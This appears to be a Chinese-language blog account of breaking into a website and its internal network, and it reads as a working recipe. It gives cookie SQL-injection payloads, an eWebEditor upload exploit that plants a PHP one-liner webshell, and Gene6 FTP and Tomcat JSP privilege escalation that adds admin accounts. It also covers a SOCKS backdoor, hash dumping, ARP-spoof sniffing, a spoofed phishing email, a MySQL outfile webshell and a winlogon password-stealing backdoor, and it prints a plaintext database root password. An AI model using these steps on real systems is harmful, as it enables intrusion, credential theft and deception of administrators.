sss是主站点,仅发现一个/myadmin/的phpmyadmin后台和站点文章后台,可惜都猜不出密码也没发现其他可利用 点,phpmyadmin版本是2.9.1,在milworm等站点找了N个exp可惜都无法成功利用,于是找同段的分站点,其中有个xxx站点有 /admin/,iis+asp,只开80+21,找到web后台的站点优先分析,成功的***整个网络往往最需要的就是从一个webshell开始。

测试注入点

—————————
来自网页的消息
—————————
参数错误!参数 的值中包含非法字符串!

请不要在参数中出现:and update delete ; insert mid master 等非法字符!
—————————
确定
—————————

好久没搞注入了,问了朋友可以cookie注入,居然忘记cookie注入可以绕过这类通用防注程序…

ie8记得先允许弹出窗口,再用以下两个语句测试是否存在cookie的sql注入

javascript:alert(document.cookie=”id=”+escape(“96880 and 1=1″));self.open(“http://”+document.location.host+document.location.pathname);void(0);
javascript:alert(document.cookie=”id=”+escape(“96880 and 1=2″));self.open(“http://”+document.location.host+document.location.pathname);void(0);

用这个方便些:

/news.asp?id=1

javascript:alert(document.cookie=”id=”+escape(“1418 and 1=1)”))

访问/news.asp正确

javascript:alert(document.cookie=”id=”+escape(“1418 and 1=2″))

访问/news.asp出错,说明存在注入

试了四、五种cookie注入工具都无法利用,只好用手工来了:

javascript:alert(document.cookie=”id=”+escape(“1418 and 0<>(select count(*) from admin where len(password)=16)”));self.open(“http://”+document.location.host+document.location.pathname);void(0);

应该是16位的md5

javascript:alert(document.cookie=”id=”+escape(“1418 and 0<>(select count(*) from admin where asc(left(password,1))<60)”));self.open(“http://”+document.location.host+document.location.pathname);void(0);

javascript:alert(document.cookie=”id=”+escape(“1418 and 0<>(select count(*) from admin where asc(right(left(password,2),1))>60)”));self.open(“http://”+document.location.host+document.location.pathname);void(0);

…………

先测试每一位是数字还是字符,确定后再猜解就要省力的多了,得到md5破解得到一个账号admin/asdfweb1

奇怪的是/admin/admin_login.asp进不去,后台banner写的是“酷维科技”,如果直接搜这个关键字是找不到源码的,但是在 baidu里输入“酷维”baidu立即补齐“酷维企业cms”,立刻下到了一份源代码程序,看来灵活应用baidu的智能补齐功能很方便信息收集。打开 看看还有newsadmin后台,访问之果然有。用admin/asdfweb1正好可以进去,可惜编辑器没有上传漏洞。再翻翻代码包发现有个 ewebeditor 2.1.6,在/newsadmin/ubb/upload.asp,这个版本存在一个sql注入可以修改上传后缀,以下是exp:

<form action=”http://www.xxxxxxxx.org/newsadmin/ubb/upload.asp?action=save&type=IMAGE&style=luoye’ union select S_ID,S_Name,S_Dir,S_CSS,[S_UploadDir]%2b’/../db’,S_Width,S_Height,S_Memo,S_IsSys,S_FileExt,S_FlashExt, [S_ImageExt]%2b’|asa’,S_MediaExt,S_FileSize,S_FlashSize,S_ImageSize,S_MediaSize,S_StateFlag,
S_DetectFromWord,S_InitMode,S_BaseUrl from ewebeditor_style where s_name=’standard’and’a'=’a” method=post name=myform enctype=”multipart/form-data”>
<input type=file name=uploadfile size=100><br><br>
<input type=submit value=Fuck>
</form>

直接传了个一句话到/db/目录下,现在得到了一个webshell,翻了翻系统,cmd被限权限无法运行,这个简单,很早就有的一个tips,直 接把cmd.exe传到web目录再调用shell就出来了。接着翻了翻系统发现有很多地方有机会提权,一个是sql server 2005,不过手工猜了猜品令没猜到,本地也只翻到了一个低权限的sql账号,还有一个是oracle 10.2.1暂时没找到可用账号,还有一个是gene6 ftp,不知道这个ftp有没有漏洞,查了一下这个gene6 ftp是有提权漏洞的,而且原理和serv-u提权很相似,顺便在这记录一下:

Gene6 FTP Server的帐户配置文件默认在:C:\Program Files\Gene6 FTP Server\RemoteAdmin\Remote.ini;

[Server]
IP=127.0.0.1,8021\r\n 这个是本地管理IP 和默认管理的端口,端口是可以修改的.
GrantAllAccessToLocalHost=0
[Acct=Administrator] 管理帐户
Enabled=1
Rights=0
Password=202CB962AC59075B964B07152D234B70 管理帐户的密码的MD5的加密字符串
[Acct=124] 这个是普通帐号,注意Acct=124这个帐号不是124,而是24;124中的1代表第一个帐号.
Enabled=1
Password=C8FFE9A587B126F152ED3D89A146B445 MD5的加密字符串,可以去破解出密码的明文.
Domain=
RootFolder=
Rights=0
IPAccessList=

用netstat -an看了下,本地果然开了8021,可以用端口转发,用装好的gene6的客户端连上并新建一个ftp账号,给这个账号赋予所有权限,再上传一个执行系统命令的批处理文件,比如a.bat

然后在SITE COMMANDS那个地方再进行配置,command处是命令名,比如system,第二行随便填,第三行execute填d:\a.bat,点OK。最后用新建的ftp账号登录,执行“quote site system”就以系统级权限执行了你的批处理文件,实现了提权。

不过因为这提权方法麻烦了点,没有立刻去做。再翻翻web物理目录,发现有个tomcat目录,但是没有登录地址,不过我们可以通过 jsp来提权(tomcat默认是system权限运行的),在/admin/下上传一个一句话jsp***。但由于8080无法远程访问到,所以我又上传 了一个asp代理程序来访问http://127.0.0.1:8080/admin/door.jsp?cmd=cmd.exe /c net user aaa 123456 /add&net localgroup administartors aaa /add

然后再安装一个代理后门绑定一个socks5 port,经过测试发现443,25,53等等都无法访问,为了方便我把geneftp服务给停了,把socks5 proxy绑在21上面。然后用sockscap32就能访问内网了。

接下来顺利的登录了xxx站的3389,xxx站内网IP是172.19.6.4,每一想到的就是破解administrator密 码,因为其他服务器可能用的同一个密码,我先pwdump出ntlm hash,用rainbowcrack破解但是没能破解成功,看来密码可能用到了一些很特殊的字符,真够安全的,我又尝试把hash注入到当前lsass 进程里再去尝试访问其他服务器的ipc,可惜无一成功,要么我注入失败要么密码确实都不一样,出于安全性考虑我没有植入winlogon密码劫持***。接 着又试了很多种的内网***工具(经过ping刺探发现有效IP地址段是172.19.1.1-172.19.6.254),扫了mysql/mssql /ipc等口令,然后用metasploit扫了遍系统/应用漏洞,几乎没有什么收获,唯一发现的是某台个人pc(winxp)开了3389并且管理口令 为空,上面开了N个工作QQ……

因为重点目标是拿下sss站点,于是我在172.19.6.4上安装了一个cain,尝试sniffer 主站sss的myadmin和文章后台密码,测试了一下完全可以arpspoof,我希望的是得到mysql密码,因为有了mysql的root权限的话 上传一个mysql udf有很大可能得到一个systemshell,不过并不清楚管理员会什么时候登录myadmin,于是我想出了一个社工方案,利用邮件欺骗技术伪造一 个某某互联网网站监控系统的官方mail(伪造成功率是99%),大致内容是说“监测到你们的http://sss/myadmin/被挂马了,请自行登 录处理或与xxxxxxxx”,为了保证对方单位能及时收到此邮件,我发了有6、7个邮箱(全是在网上收集的),其中至少有一个应该是管理员的mail。

接下来就是等待了^_^

结果并没有先得到mysql密码,却sniffer到了sss站点的admin后台管理密码,该后台管理系统是SiteEngine Advanced 7.1.0 (Build 20090313)

在后台试了半天,从上传文件再到模板都无法上传phpshell,不过后台还有个数据库管理功能可以运行sql语句,可惜没有回显,我试着执行:

grant all privileges on *.* to test@localhost identified by ’12345′;

新建一个test,密码为12345,并且给来自本地登录的test赋予所有数据库的所有表进行所有操作的权限。

然后再从phpmyadmin登录,上传udf,但无论如何注册udf都失败了,mysql版本为5.0.18,udf导在c:\根目录或 system32目录下都注册失败了,plugin目录又不存在所以没法试,谁知道原因告诉我一声?我的sql语句是正确的,而两种udf都是免杀 的~~~

只好利用mysql导出webshell了,先找web物理路径了,还好在模板功能那里找到了web物理路径,然后在phpmyadmin里执行如下sql语句:

use mysql;

create table testt(cmd TEXT);

insert into testt values(‘<?php @eval($_POST["sss"])?>’);# 影响列数: 1

select * from testt into outfile ‘E:\\www\\html\\BOKA_ENV\\SiteEngine\\test.php’;# 影响列数: 1

drop table testt;# MySQL 返回的查询结果为空(即零行)。

再连上这个webshell,试了试果然是system权限,直接加了个系统管理账号,然后从172.19.6.4跳过去从3389登录进.43桌面。

发现一些有意思的东东,在c盘根目录下有个autobak.bat,一看就是备份数据库用的,里面:
E:\www\html\BOKA_ENV\MySQL5\bin\mysqldump -uroot -paq#@qw3#$@1de~!79 sss_db > E:\mysqldatabak\sssdb.sql
C:\Progra~1\WinRAR\rar.exe a -ag E:\mysqldatabak\rar\sf.rar E:\mysqldatabak\sssdb.sql

真够有密码安全意识的,难怪我用彩虹表也破不出系统密码。后来看了看系统服务,发现也有个gene6 ftp,而且管理密码与.4是一样的,所以我估计至少会有一部分主机的密码也是一样的,之后装了个免杀的winlogoin后门用以捕获系统密码,抓到后 再试试登录其他主机。最后停掉socks5后门,恢复.4的gene6 ftp的运行。

工作其实到这里就基本结束了,就先记录到这了。